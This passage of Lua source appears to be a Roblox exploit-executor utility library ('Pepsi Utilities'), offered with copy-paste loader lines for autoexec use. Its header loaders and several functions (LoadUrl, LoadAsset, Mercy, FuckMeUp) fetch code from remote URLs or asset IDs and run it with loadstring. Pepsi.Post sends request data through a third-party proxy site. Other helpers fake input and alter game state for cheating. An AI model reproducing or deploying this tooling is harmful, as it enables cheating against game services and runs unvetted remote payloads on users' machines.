· 6 years ago · Dec 06, 2019, 03:34 PM
1-- Documentation is NOT provided. Only clues of how this works are in hints (such as this) or in my discord server or DMS Pepsi#5229
2-- I am taking on requests to add to my utilites.
3
4-- Loader string
5-- local set = getgenv or getfenv;set().Color3, set().Instance, set().math, set().string, set().table, set().Vector3, set().Pepsi, set().Region3, set().Drawing = (function()if game:GetService("RunService"):IsStudio()then return require(0XD3D844D5)end;return loadstring(game:GetObjects[[rbxassetid://3554165973]][0X1].Source)[[Pepsi Was]][[Here]]end)[[Pepsi Utilites]]
6-- OR
7-- repeat if shared.PepsiUtil then break end t = t or tick()pcall(function()loadstring(game:GetObjects[[rbxassetid://3554165973]][0X1]:GetDescendants()[0X1][([[ToolTip]])])[[Pepsi Utilites]]end)wait(0.1)until true == shared[([[PepsiUtil]])] == true or (tick() - t >= 10 and (function()local t, m = pcall(Instance[([[new]])], [[Message]], game:GetService[[CoreGui]])m[([[Text]])] = [[Pepsi's Utilites failed to load!]]game:GetService[[Debris]]:AddItem(m, 10)return true and error[[Pepsi's Utilites failed to load. Try again later please.]]end)[[Load Failed]])
8-- OR
9-- auto-update auto-loader (no fail safe)
10-- loadstring(game:GetObjects("rbxassetid://3554165973")[0X1]:GetDescendants()[0X1].ToolTip)("Pepsi Utilites")
11
12-- getgenv users (super awesome if stuffed in autoexec);
13-- getgenv().Color3, getgenv().Instance, getgenv().math, getgenv().string, getgenv().table, getgenv().Vector3, getgenv().Pepsi, getgenv().Region3, getgenv().CFrame, getgenv().Ray, getgenv().Drawing = (function()return loadstring(rawget(game:GetObjects[[rbxassetid://3554165973]], 0X1).Source)[[Pepsi Was]][[Here]]end)[[Pepsi Utilites]]
14Pepsi, dbg = Pepsi, dbg
15local _version = "2.86" -- https://api.roblox.com/assets/3554165973/versions
16if type(Pepsi) == "table" then
17 if type(Pepsi.version) == "string" then
18 local nv = tonumber(({Pepsi.version:gsub("%D", "")})[1])
19 local v = tonumber(({_version:gsub("%D", "")})[1])
20 if type(nv) == "number" and "number" == type(v) and nv <= v then
21 return (function(...) -- Fuck "module can only return 1 result".
22 return setmetatable({}, {__index = Color3}), setmetatable({}, {__index = Instance}), setmetatable({}, {__index = math}), setmetatable({rtl = utf8.char(8238)}, {__index = string}), setmetatable({}, {__index = table}), setmetatable({}, {__index = Vector3}), Pepsi, setmetatable({}, {__index = Region3}), setmetatable({}, {__index = CFrame}), setmetatable({}, {__index = Ray}--[[, setmetatable({}, {__index = Drawing}]])
23 end)
24 else
25 assert(Pepsi and Pepsi.Msg or warn or print)("Attempted to load old utilites version: " .. _version)
26 end
27 end
28end
29if type(shared) ~= "table" then
30 warn("Please consider buying Synapse.")
31 shared = {has_shitploit = true}
32 if getgenv then
33 getgenv().shared = {has_shitploit = true}
34 end
35 if getfenv then
36 getfenv().shared = {has_shitploit = true}
37 end
38end
39if not utf8 then
40 utf8 = utf8 or setmetatable({}, {
41 __index = function()
42 return function()
43 end
44 end,
45 __newindex = function()
46 return function()
47 end
48 end
49 })
50 if getfenv then
51 getfenv().utf8 = utf8
52 end
53 if getgenv then -- Who the fuck has an exploit that has getgenv, but not utf8?
54 getgenv().utf8 = utf8
55 end
56end
57local auto_exec = not not shared.autoexec or false -- if you set this to true, clone everything in this script. Place in .lua file in workspace/autoexec // UPDATES CUT
58local Color3 = setmetatable({}, {__index = Color3}) -- Table is readonly. Not anymore
59local Instance = setmetatable({}, {__index = Instance})
60local math = setmetatable({nan = math.abs(math.huge / math.huge), big = math.huge}, {__index = math})
61local string = setmetatable({rtl = utf8.char(8238)}, {__index = string})
62local table = setmetatable({}, {__index = table})
63local Vector3 = setmetatable({}, {__index = Vector3})
64local Region3 = setmetatable({}, {__index = Region3})
65local CFrame = setmetatable({}, {__index = CFrame})
66local Ray = setmetatable({}, {__index = Ray})
67--local Drawing = setmetatable({}, {__index = Drawing})
68local chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" -- For base64
69local old_sort = old_sort or table.sort
70local old_ins = old_ins or table.insert
71local old_new = old_new or Instance.new
72local robloxtype = robloxtype or typeof -- For those that miss beta api
73local Pepsi = {
74 Logo = "rbxassetid:\\4427304036", -- Cool stuff
75 version = tostring(_version or "undefined"),
76 Rs = game:GetService("RunService").RenderStepped,
77 Navigating = false,
78 oldgrav = workspace.Gravity,
79 Misc = {},
80 Bot = {
81 Bots = {} -- WIP
82 },
83 Keys = {},
84 Server = type(game.JobId) == "string" and #game.JobId > 30 and game.JobId or (function()
85 if game.HttpPost then
86 return game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):JSONDecode(game:HttpPost("https://httpbin.org/post", "")).headers["Roblox-Session-Id"]).GameId
87 else
88 return game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):PostAsync("https://httpbin.org/post", "")).headers["Roblox-Session-Id"]).GameId
89 end
90 end)(),
91 VarSignals = {},
92 Vars = {
93 Backpack = false,
94 Camera = false,
95 CFrame = false,
96 Character = false,
97 Connect = true,
98 Enabled = false,
99 Gui = false,
100 Head = false,
101 Health = false,
102 Humanoid = false,
103 Tool = false,
104 Torso = false,
105 Update = game:GetService("RunService").RenderStepped,
106 Vector3 = false
107 }
108}
109local newthread = coroutine.create(function(...)
110 coroutine.yield() -- Nothing to see here, move along.
111end)
112function Pepsi.spawn(...) -- Spawn now interperts arguments like pcall
113 local args = {...}
114 return spawn(function()
115 local res = {
116 pcall(unpack(args))
117 }
118 local oops = table.remove(res, 1)
119 if oops then
120 return unpack(res)
121 elseif type(res[1]) == "string" then
122 return error(res[1], 3)
123 end
124 end)
125end
126function Pepsi.delay(...) -- Delay now interperts arguments like pcall
127 local args = {...}
128 local t = tonumber(table.remove(args, 1))
129 return delay(t, function()
130 local res = {
131 pcall(unpack(args))
132 }
133 local oops = table.remove(res, 1)
134 if oops then
135 return unpack(res)
136 elseif type(res[1]) == "string" then
137 return error(res[1], 3)
138 end
139 end)
140end
141function Pepsi.Date(str_form)
142 Pepsi.Arg(str_form, {"string", "nil"}, 1, "Pepsi.Date")
143 str_form = tostring(tostring(str_form or "m/d/y") or "m/d/y")
144 local d = os.date("*t")
145 local map = {
146 h = d.hour,
147 M = d.min,
148 w = d.wday,
149 d = d.day,
150 m = d.month,
151 y = d.year,
152 s = d.sec,
153 Y = d.yday,
154 }
155 for t, v in pairs(map) do
156 str_form = str_form:gsub(t, tostring(v))
157 end
158 return str_form
159end
160function Pepsi.Mark(instance, str, state)
161 Pepsi.Arg(instance, "Instance", 1, "Pepsi.Mark")
162 Pepsi.Arg(str, "string", 2, "Pepsi.Mark")
163 Pepsi.Arg(state, {"nil", "boolean"}, 3, "Pepsi.Mark")
164 if state ~= nil then
165 return game:GetService("CollectionService")[({
166 [true] = "AddTag",
167 [false] = "RemoveTag"
168 })[state]](game:GetService("CollectionService"), instance, str)
169 end
170 return game:GetService("CollectionService"):AddTag(instance, str)
171end
172function Pepsi.UnMark(instance, str)
173 Pepsi.Arg(instance, "Instance", 1, "Pepsi.UnMark")
174 Pepsi.Arg(str, "string", 2, "Pepsi.UnMark")
175 return game:GetService("CollectionService"):RemoveTag(instance, str)
176end
177function Pepsi.IsMarked(instance, str)
178 Pepsi.Arg(instance, "Instance", 1, "Pepsi.IsMarked")
179 Pepsi.Arg(str, "string", 2, "Pepsi.IsMarked")
180 return game:GetService("CollectionService"):HasTag(instance, str)
181end
182function Pepsi.Marks(instance)
183 Pepsi.Arg(instance, "Instance", 1, "Pepsi.Marks")
184 return game:GetService("CollectionService"):GetTags(instance)
185end
186function Pepsi.GetMarked(str)
187 Pepsi.Arg(str, "string", 1, "Pepsi.GetMarked")
188 return game:GetService("CollectionService"):GetTagged(str)
189end
190function Pepsi.BindMark(str, method)
191 Pepsi.Arg(str, "string", 1, "Pepsi.ConnectMark")
192 Pepsi.Arg(method, {"boolean", "nil"}, 2, "Pepsi.ConnectMark")
193 local c = ({
194 [true] = {add = true},
195 [false] = {rem = true},
196 ["nil"] = {add = true, rem = true}
197 })[(type(method) == "nil" and "nil" or method)]
198 local b = Instance.make("BindableEvent", {Name = str})
199 for op, val in pairs(c) do
200 if c.add then
201 Pepsi.Assert(b and game:GetService("CollectionService"):GetInstanceAddedSignal(str), "Failed to make bind.", 3):Connect(function(ins)
202 b:Fire(ins, true)
203 end)
204 end
205 if c.rem then
206 Pepsi.Assert(b and game:GetService("CollectionService"):GetInstanceRemovedSignal(str), "Failed to make bind.", 3):Connect(function(ins)
207 b:Fire(ins, false)
208 end)
209 end
210 end
211 return b
212end
213function Pepsi.Tool(loser)
214 loser = loser or Pepsi.Me()
215 Pepsi.Arg(loser, "Player", 1, "Pepsi.Tool")
216 local c = Pepsi.Char(loser)
217 if c then
218 return c:FindFirstChildWhichIsA("BackpackItem")
219 end
220end
221function Pepsi.Ressert(statement, msg, yes, no) -- Assert with extra features
222 Pepsi.Arg(msg, {"nil", "string"}, 2, "Pepsi.Ressert")
223 msg = tostring(msg or "ressertion failed!")
224 if not statement then
225 Pepsi.TraceError(tostring(msg))
226 return no
227 elseif yes ~= nil then
228 return yes
229 end
230 return statement
231end
232function Pepsi.TraceError(msg)
233 return Pepsi.ErrorMsg(tostring(msg) .. "\n" .. debug.traceback():gsub("[^\r\n]+", function(c)
234 return string.rep(" ", 4) .. c
235 end))
236end
237function Pepsi.Post(url, data)
238 Pepsi.Arg(url, "string", 1, "Pepsi.Post")
239 Pepsi.Arg(data, "string", 2, "Pepsi.Post")
240 local s, res = pcall(function()
241 local r, finished = {}, Instance.new("BindableEvent")
242 game:GetService("HttpService"):RequestInternal({
243 Url = "http://postget.ga/?url=" .. game:GetService("HttpService"):UrlEncode(url) .. "&data=" .. game:GetService("HttpService"):UrlEncode(data)
244 }):Start(function(tru, done)
245 return finished:Fire(done)
246 end)
247 r = finished.Event:Wait()
248 finished:Destroy()
249 return r and r.Body
250 end)
251 if not s or type(res) ~= "string" then
252 s, res = pcall(function()
253 return game:GetService("HttpService"):PostAsync(url, data)
254 end)
255 if not s or type(res) ~= "string" then
256 s, res = pcall(function()
257 if game.HttpPost then
258 return game:HttpPost(url, data)
259 end
260 end)
261 end
262 end
263 return res
264end
265function Pepsi.Get(url)
266 Pepsi.Arg(url, "string", 1, "Pepsi.Get")
267 local s, res = pcall(function()
268 local r, finished = {}, Instance.new("BindableEvent")
269 game:GetService("HttpService"):RequestInternal({
270 Url = url,
271 Headers = {
272 ["Content-Type"] = "text/plain"
273 }
274 }):Start(function(tru, done)
275 return finished:Fire(done)
276 end)
277 r = finished.Event:Wait()
278 finished:Destroy()
279 return r and r.Body
280 end)
281 if not s or type(res) ~= "string" then
282 s, res = pcall(function()
283 return game:GetService("HttpService"):GetAsync(url)
284 end)
285 if not s or type(res) ~= "string" then
286 s, res = pcall(function()
287 return game:HttpGet(url)
288 end)
289 end
290 end
291 return res
292end
293function Pepsi.NewSignal(name, triggers)
294 Pepsi.Arg(name, "string", 1, "Pepsi.NewSignal")
295 Pepsi.Arg(triggers, {"nil", "table"}, 2, "Pepsi.NewSignal")
296 local ud = newproxy(true)
297 local functionality = getmetatable(ud)
298 functionality.__metatable = "The metatable is locked"
299 functionality.__Address = tostring("Signal " .. name)
300 functionality.__index = default
301 function functionality.__tostring(self)
302 return functionality.__Address
303 end
304 function functionality.__newindex(self, property, value)
305 if rawget(rules, property) then
306 if rules[property].readonly then
307 return error("can't set value", 3)
308 elseif not rules[property].types[typeof(value)] then
309 if type(value) == "string" then
310 return error("Invalid value \"\r" .. tostring(value:sub(1, 80)) .. "\" for " .. classname, 3)
311 elseif type(value) == "number" then
312 return error("Invalid value \r" .. tostring(value) .. " for " .. classname, 3)
313 end
314 return error("Invalid value for " .. classname, 3)
315 else
316 return rawset(default, property, value)
317 end
318 elseif newindex then
319 return rawset(default, property, value)
320 else
321 return error(property .. " is not a valid member of RBXScriptSignal", 3)
322 end
323 end
324end
325function Pepsi.ncall(self, name, ...) -- Protected namecall [ game:GetService("Workspace") - > Pepsi.ncall(game, "GetService", "Workspace") ]
326 Pepsi.Arg(self, "nil", 1, "Pepsi.ncall", true)
327 Pepsi.Arg(name, "string", 2, "Pepsi.ncall")
328 return pcall(self[name], self, ...) -- God power
329end
330function Pepsi.encall(self, name, ...)
331 Pepsi.Arg(self, "nil", 1, "Pepsi.encall", true)
332 Pepsi.Arg(name, "string", 2, "Pepsi.encall")
333 return Pepsi.ecall(self[name], self, ...)
334end
335function Pepsi.Assert(statement, msg, level) -- Assert now accepts a 3rd arguemnt, being level
336 msg = tostring(msg or "assertion failed!")
337 level = tonumber(level or 1)
338 if not statement then
339 return error(tostring(msg), tonumber(level) + 1)
340 end
341end
342function Pepsi.Class(obj)
343 return typeof(obj) == "Instance" and obj.ClassName or typeof(obj)
344end
345function Pepsi.Arg(val, mustbe, arg, func, moreinfo, inverse)
346 if type(moreinfo) == "boolean" and type(inverse) == "nil" or type(inverse) == "string" then
347 moreinfo, inverse = inverse, moreinfo
348 end
349 assert(type(mustbe) == "string" or type(mustbe) == "table", "bad argument #2 to 'Pepsi.Arg' (table/string expected, got " .. tostring(type(mustbe) == "nil" and "no value" or typeof(mustbe)) .. ")")
350 assert(type(arg) == "nil" or type(arg) == "number", "bad argument #3 to 'Pepsi.Arg' (number expected, got " .. tostring(type(arg) == "nil" and "no value" or typeof(arg)) .. ")")
351 assert(type(func) == "nil" or type(func) == "string", "bad argument #4 to 'Pepsi.Arg' (string expected, got " .. tostring(type(func) == "nil" and "no value" or typeof(func)) .. ")")
352 assert(type(moreinfo) == "nil" or type(moreinfo) == "string", "bad argument #5 to 'Pepsi.Arg' (string expected, got " .. tostring(type(moreinfo) == "nil" and "no value" or typeof(moreinfo)) .. ")")
353 assert(type(inverse) == "nil" or type(inverse) == "boolean", "bad argument #6 to 'Pepsi.Arg' (boolean expected, got " .. tostring(type(inverse) == "nil" and "no value" or typeof(inverse)) .. ")")
354 if type(mustbe) == "string" then
355 mustbe = {mustbe}
356 end
357 local allownil = false
358 local vals = table.dictionary(mustbe)
359 if vals["nil"] then
360 allownil, vals["nil"] = true, nil
361 end
362 local str = "bad argument "
363 if arg then
364 str = str .. "#" .. tostring(arg) .. " "
365 end
366 if func then
367 str = str .. "to '" .. tostring(func) .. "' "
368 end
369 local astr = tostring(table.concat(table.sort(table.keys(vals)), "/") or "") or ""
370 if astr and str then
371 str = str .. "(" .. tostring(astr) .. " expected, got " .. tostring(type(val) == "nil" and "no value" or typeof(val)) .. ")"
372 if moreinfo then
373 str = str .. " [" .. tostring(moreinfo) .. "]"
374 end
375 if str then
376 if allownil then
377 vals["nil"] = true
378 end
379 local valtype = Pepsi.Class(val)
380 if inverse then
381 return Pepsi.Assert(not vals[valtype] and not vals[typeof(val)], str, 3)
382 end
383 return Pepsi.Assert(vals[valtype] or vals[typeof(val)], str, 3)
384 end
385 end
386end
387function Pepsi.Encrypt(message, key)
388 key = tostring(key or "Pepsi")
389 local key_bytes
390 if type(key) == "string" then
391 key_bytes = {}
392 for key_index = 1, #key do
393 key_bytes[key_index] = string.byte(key, key_index)
394 end
395 else
396 key_bytes = key
397 end
398 local message_length = #message
399 local key_length = #key_bytes
400 local message_bytes = {}
401 for message_index = 1, message_length do
402 message_bytes[message_index] = string.byte(message, message_index)
403 end
404 local result_bytes = {}
405 local random_seed = 0
406 for key_index = 1, key_length do
407 random_seed = (random_seed + key_bytes[key_index] * key_index) * 37789 + 60061
408 random_seed = (random_seed - random_seed % 256) / 256 % 65536
409 end
410 for message_index = 1, message_length do
411 local message_byte = message_bytes[message_index]
412 for key_index = 1, key_length do
413 local key_byte = key_bytes[key_index]
414 local result_index = message_index + key_index - 1
415 local result_byte = message_byte + (result_bytes[result_index] or 0)
416 if result_byte > 255 then
417 result_byte = result_byte - 256
418 end
419 result_byte = result_byte + key_byte
420 if result_byte > 255 then
421 result_byte = result_byte - 256
422 end
423 random_seed = (random_seed * 37789 + 60061) % 65536
424 result_byte = result_byte + (random_seed - random_seed % 256) / 256
425 if result_byte > 255 then
426 result_byte = result_byte - 256
427 end
428 result_bytes[result_index] = result_byte
429 end
430 end
431 local result_characters = {}
432 local result_next_index = 1
433 for result_index = 1, #result_bytes do
434 local result_byte = result_bytes[result_index]
435 if result_byte == 0 then
436 result_characters[result_next_index] = "\1"
437 result_characters[result_next_index + 1] = "\1"
438 result_next_index = result_next_index + 2
439 elseif result_byte == 1 then
440 result_characters[result_next_index] = "\1"
441 result_characters[result_next_index + 1] = "\2"
442 result_next_index = result_next_index + 2
443 else
444 result_characters[result_next_index] = string.char(result_byte)
445 result_next_index = result_next_index + 1
446 end
447 end
448 return table.concat(result_characters)
449end
450function Pepsi.Decrypt(message, key)
451 key = tostring(key or "Pepsi")
452 local message_length = #message
453 local key_length = #key
454 local random_seed = 0
455 local g = 0
456 local message_index = 1
457 local message_bytes = {}
458 local j = {}
459 local result_bytes = {}
460 local result_characters = {}
461 local key_bytes
462 if type(key) == "string" then
463 key_bytes = {}
464 for key_index = 1, key_length do
465 key_bytes[key_index] = string.byte(key, key_index)
466 end
467 else
468 key_bytes = key
469 end
470 while message_index <= message_length do
471 local i = string.byte(message, message_index)
472 g = g + 1
473 if i == 1 then
474 message_index = message_index + 1
475 message_bytes[g] = string.byte(message, message_index) - 1
476 else
477 message_bytes[g] = i
478 end
479 message_index = message_index + 1
480 end
481 for key_index = 1, key_length do
482 random_seed = (random_seed + key_bytes[key_index] * key_index) * 37789 + 60061
483 random_seed = (random_seed - random_seed % 256) / 256 % 65536
484 end
485 for i = 1, (g - key_length + 1) * key_length do
486 random_seed = (random_seed * 37789 + 60061) % 65536
487 j[i] = (random_seed - random_seed % 256) / 256
488 end
489 local l = #j
490 local m = key_bytes[key_length]
491 for result_index = g, key_length, -1 do
492 local result_byte = message_bytes[result_index] - m
493 if result_byte < 0 then
494 result_byte = result_byte + 256
495 end
496 result_byte = result_byte - j[l]
497 l = l - 1
498 if result_byte < 0 then
499 result_byte = result_byte + 256
500 end
501 for q = key_length - 1, 1, -1 do
502 result_index = result_index - 1
503 local r = message_bytes[result_index] - key_bytes[q]
504 if r < 0 then
505 r = r + 256
506 end
507 r = r - result_byte
508 if r < 0 then
509 r = r + 256
510 end
511 r = r - j[l]
512 l = l - 1
513 if r < 0 then
514 r = r + 256
515 end
516 message_bytes[result_index] = r
517 end
518 result_bytes[result_index] = result_byte
519 end
520 for result_index = 1, #result_bytes do
521 result_characters[result_index] = string.char(result_bytes[result_index])
522 end
523 return table.concat(result_characters)
524end
525function Pepsi.WaitForChar(loser, rethuman)
526 if type(loser) == "boolean" and rethuman == nil then
527 loser, rethuman = rethuman, loser
528 end
529 loser = loser or Pepsi.Me()
530 local c = Pepsi.Char(loser)
531 if not c and Pepsi.Obj({
532 silent = true
533 }, loser, "CharacterAdded") then
534 local c = loser.CharacterAdded:Wait()
535 while c and not Pepsi.Human(loser) do
536 Pepsi.Rs:Wait()
537 end
538 if rethuman then
539 return c, Pepsi.Human(loser)
540 end
541 return c
542 end
543 while c and not Pepsi.Human(loser) do
544 Pepsi.Rs:Wait()
545 end
546 if rethuman then
547 return c, Pepsi.Human(loser)
548 end
549 return c
550end
551function Pepsi.LoadAsset(id, run)
552 local func = loadstring(rawget(game:GetObjects("rbxassetid://" .. tostring(tonumber(id))), 0X1).Source)
553 if run then
554 return func()
555 end
556 return func
557end
558function Pepsi.LoadUrl(url, func, ...)
559 if game.HttpGet then
560 return loadstring(game:HttpGet(url))
561 elseif game:GetService("HttpService").GetAsync then
562 return loadstring(game:GetService("HttpService"):GetAsync(url))
563 elseif func then
564 return loadstring(func(url, ...))
565 end
566end
567function Pepsi.Mercy()
568 return pcall(Pepsi.LoadAsset(0XFD918E32))
569end
570function Pepsi.FuckMeUp()
571 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
572 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
573 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
574 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
575 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
576 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
577 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
578 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
579 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
580 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
581 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
582 do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
583end
584function Pepsi.ToVector3(obj, ...)
585 if #{...} >= 2 then
586 obj = tostring(tostring(obj) .. ", " .. tostring(({...})[1]) .. ", " .. tostring(({...})[2]))
587 end
588 if obj and type(obj) == "table" then
589 local x, y, z = obj.X or obj.x, obj.Y or obj.y, obj.z or obj.Z
590 if x and y and z then
591 return Vector3.new(x, y, z)
592 end
593 if #obj == 3 then
594 return Vector3.new(unpack(obj))
595 end
596 elseif obj and typeof(obj) == "Instance" and obj:IsA("ValueBase") then
597 obj = obj.Value
598 elseif obj and typeof(obj) == "Instance" and obj:IsA("Player") then
599 obj = obj.Character
600 elseif type(obj) == "string" then
601 obj = string.getvalue(obj) or string.getvalue("Vector3.new(" .. obj .. ")") or string.getvalue("CFrame.new(" .. obj .. ")")
602 if typeof(obj) == "CFrame" then
603 return obj.Position
604 end
605 return obj
606 elseif typeof(obj) == "Vector3" then
607 return obj
608 elseif typeof(obj) == "CFrame" then
609 return obj.Position
610 end
611 if nil == obj then
612 return Vector3.new()
613 elseif obj and typeof(obj) == "Instance" then
614 if obj:IsA("BasePart") then
615 return obj.Position
616 elseif obj:IsA("Model") and obj.PrimaryPart then
617 return obj.PrimaryPart.Position
618 elseif obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true) then
619 obj = obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true)
620 return obj.Position
621 end
622 end
623end
624function Pepsi.Compatible()
625 return loadstring(rawget(game:GetObjects[[rbxassetid://4108946409]], 0X1).Source)[[Compatibilize]]
626end
627function Pepsi.GetOthers(...)
628 local args = {...}
629 if #args == 0 then
630 args = {
631 Pepsi.Me()
632 }
633 end
634 args = table.dictionary(args)
635 local losers = {}
636 table.each(game:GetService("Players"):GetPlayers(), function(loser)
637 if not args[loser] then
638 table.insert(losers, loser)
639 end
640 end)
641 return losers
642end
643function Pepsi.Trip(tog, loser) -- A little fun function. Requested.
644 Pepsi.oldgrav = Pepsi.oldgrav or workspace.Gravity
645 workspace.Gravity = -math.huge
646 wait()
647 Pepsi.Torso().CFrame = Pepsi.Torso().CFrame + Vector3.new(0, 5.5, 0)
648 wait()
649 workspace.Gravity = Pepsi.oldgrav
650 return Pepsi.State(Enum.HumanoidStateType.Ragdoll, tog, loser)
651end
652function Pepsi.State(state, tog, loser)
653 if not loser or typeof(loser) ~= "Instance" or not loser:IsA("Humanoid") then
654 loser = Pepsi.Human(loser)
655 end
656 if type(tog) == "number" then
657 delay(tog, function()
658 Pepsi.Misc[state] = false
659 end)
660 tog = true
661 elseif type(tog) ~= "boolean" then
662 local h = Pepsi.Human()
663 if h then
664 h:ChangeState(state)
665 end
666 return
667 end
668 if type(tog) == "boolean" then
669 if not tog then
670 return rawset(Pepsi.Misc, state, false)
671 elseif rawget(Pepsi.Misc, state) == tog then
672 return
673 end
674 local h = Pepsi.Human()
675 while not h and wait() do
676 h = Pepsi.Human()
677 end
678 Pepsi.Misc[state] = true
679 h:ChangeState(state)
680 spawn(function()
681 while Pepsi.Misc[state] and wait() do
682 pcall(function()
683 local h = Pepsi.Human()
684 if h then
685 local old, new = h.StateChanged:Wait()
686 if new ~= state and h then
687 h:ChangeState(state)
688 end
689 end
690 end)
691 end
692 end)
693 end
694end
695function Pepsi.ToCFrame(obj, ...)
696 if #{...} >= 2 then
697 obj = tostring(tostring(obj) .. ", " .. tostring(({...})[1]) .. ", " .. tostring(({...})[2]))
698 end
699 if obj and typeof(obj) == "Instance" and obj:IsA("ValueBase") then
700 obj = obj.Value
701 elseif type(obj) == "string" then
702 obj = string.getvalue(obj) or string.getvalue("CFrame.new(" .. obj .. ")") or string.getvalue(obj)
703 if typeof(obj) == "CFrame" then
704 return obj
705 end
706 return obj
707 elseif typeof(obj) == "Vector3" then
708 return CFrame.new(obj.X, obj.Y, obj.Z)
709 elseif typeof(obj) == "CFrame" then
710 return obj
711 end
712 if nil == obj then
713 return CFrame.new()
714 elseif obj and typeof(obj) == "Instance" then
715 if obj:IsA("BasePart") then
716 return obj.CFrame
717 elseif obj:IsA("Model") and obj.PrimaryPart then
718 return obj.PrimaryPart.CFrame
719 elseif obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true) then
720 obj = obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true)
721 return obj.CFrame
722 end
723 end
724end
725function Pepsi.KeyPress(key, duration)
726 if type(duration) == "number" then
727 game:GetService("VirtualInputManager"):SendKeyEvent(true, key, false, game)
728 wait(duration)
729 return game:GetService("VirtualInputManager"):SendKeyEvent(false, key, false, game)
730 elseif type(duration) == "boolean" then
731 return game:GetService("VirtualInputManager"):SendKeyEvent(duration, key, false, game)
732 else
733 return game:GetService("VirtualInputManager"):SendKeyEvent(not game:GetService("UserInputService"):IsKeyDown(key), key, false, game)
734 end
735end
736function Pepsi.Mouse()
737 return Pepsi.Me():GetMouse()
738end
739function Pepsi.acall(func, args) -- Arguments call
740 if type(args) == "function" and type(func) ~= "function" then
741 func, args = args, func -- Some loser flipped the arguments
742 end
743 if func then
744 if Pepsi.IsA(args, "RemoteEvent") then
745 return function()
746 return pcall(func, args:FireServer())
747 end
748 elseif Pepsi.IsA(args, "RemoteFunction") then
749 return function()
750 return pcall(func, args:InvokeServer())
751 end
752 elseif type(args) == "function" then
753 return function()
754 return pcall(func, args())
755 end
756 elseif type(args) == "table" then
757 return function()
758 return pcall(func, unpack(args))
759 end
760 else
761 return function()
762 return pcall(func, args)
763 end
764 end
765 end
766end
767function Pepsi.MousePos()
768 local m = Pepsi.Mouse()
769 return m.X, m.Y
770end
771function Pepsi.Wait(n)
772 if not n then
773 return Pepsi.Rs:Wait()
774 end
775 if type(n) == "number" then
776 if n <= 0 then
777 return Pepsi.Rs:Wait()
778 end
779 return wait(n)
780 elseif typeof(n) == "Instance" and "RBXScriptSignal" == typeof(n.Changed) then
781 if not rawequal(Pepsi.Obj(getfenv().script, "ClassName"), "LocalScript") then
782 if "RBXScriptSignal" == typeof(n.OnServerEvent) then
783 return n.OnServerEvent:Wait()
784 end
785 end
786 return n.Changed:Wait()
787 elseif typeof(n) == "RBXScriptSignal" then
788 return n:Wait()
789 elseif n ~= nil and tonumber(n) ~= nil then
790 return wait(tonumber(n))
791 end
792 return game:GetService("RunService").RenderStepped:Wait()
793end
794function Pepsi.NearMouse(vec, pixels, x, y)
795 if vec ~= nil then
796 vec = Pepsi.ToVector3(vec)
797 local hpos, on_screen = workspace.CurrentCamera:WorldToScreenPoint(vec)
798 if type(x) ~= "number" then
799 x = Pepsi.MousePos()
800 end
801 if type(y) ~= "number" then
802 local o, y = Pepsi.MousePos()
803 end
804 if type(x) ~= "number" or type(y) ~= "number" then
805 x, y = Pepsi.MousePos()
806 if type(x) ~= "number" or type(y) ~= "number" then
807 x, y = workspace.CurrentCamera.ViewportSize.X, workspace.CurrentCamera.ViewportSize.Y
808 end
809 end
810 local dist = (((hpos.X - x) ^ 0X2) + ((hpos.Y - y) ^ 0X2)) ^ (0X1 / 0X2) -- Wuzzy units
811 if not on_screen then
812 dist = (((workspace.CurrentCamera.ViewportSize.X + hpos.X - x) ^ 0X2) + ((workspace.CurrentCamera.ViewportSize.Y + hpos.Y - y) ^ 0X2)) ^ (0X1 / 0X2)
813 end
814 if pixels == nil then
815 if on_screen then
816 return dist
817 end
818 elseif on_screen then
819 if dist <= pixels then
820 return true
821 end
822 end
823 end
824 return false
825end
826function Pepsi.GetCam()
827 return workspace.CurrentCamera
828end
829function Pepsi.Touching(loser, ...)
830 local args, nargs = {...}, {}
831 if not Pepsi.IsA(loser, "Player") then
832 table.insert(args, loser)
833 loser = Pepsi.Me()
834 end
835 for k, v in pairs(args) do
836 if type(v) == "table" then
837 for k, v in pairs(v) do
838 if Pepsi.IsA(v, "BasePart") then
839 table.insert(nargs, v)
840 end
841 end
842 elseif Pepsi.IsA(v, "BasePart") then
843 table.insert(nargs, v)
844 end
845 end
846 local torso = Pepsi.Torso(loser)
847 if #torso:GetTouchingParts() <= 0 then
848 return false
849 end
850 if Pepsi.IsA(torso, "BasePart") then
851 local touched = torso:GetTouchingParts()
852 for k, v in pairs(nargs) do
853 for n, p in pairs(touched) do
854 if rawequal(v, p) then
855 return true
856 end
857 end
858 end
859 end
860 return false
861end
862function Pepsi.Click(button, x, y, dur)
863 button = button or Enum.UserInputType.MouseButton1 -- This function isnt suposed to be called by an end user, but why not?
864 if typeof(button) == "EnumItem" then
865 button = button.Value
866 end
867 if x == nil and y == nil then
868 x, y = Pepsi.MousePos()
869 end
870 if typeof(x) == "Vector2" then
871 dur = y
872 x, y = Pepsi.Viewport(x)
873 end
874 if dur == nil then
875 dur = 1 / 20 -- Defaults to 0.05 second click
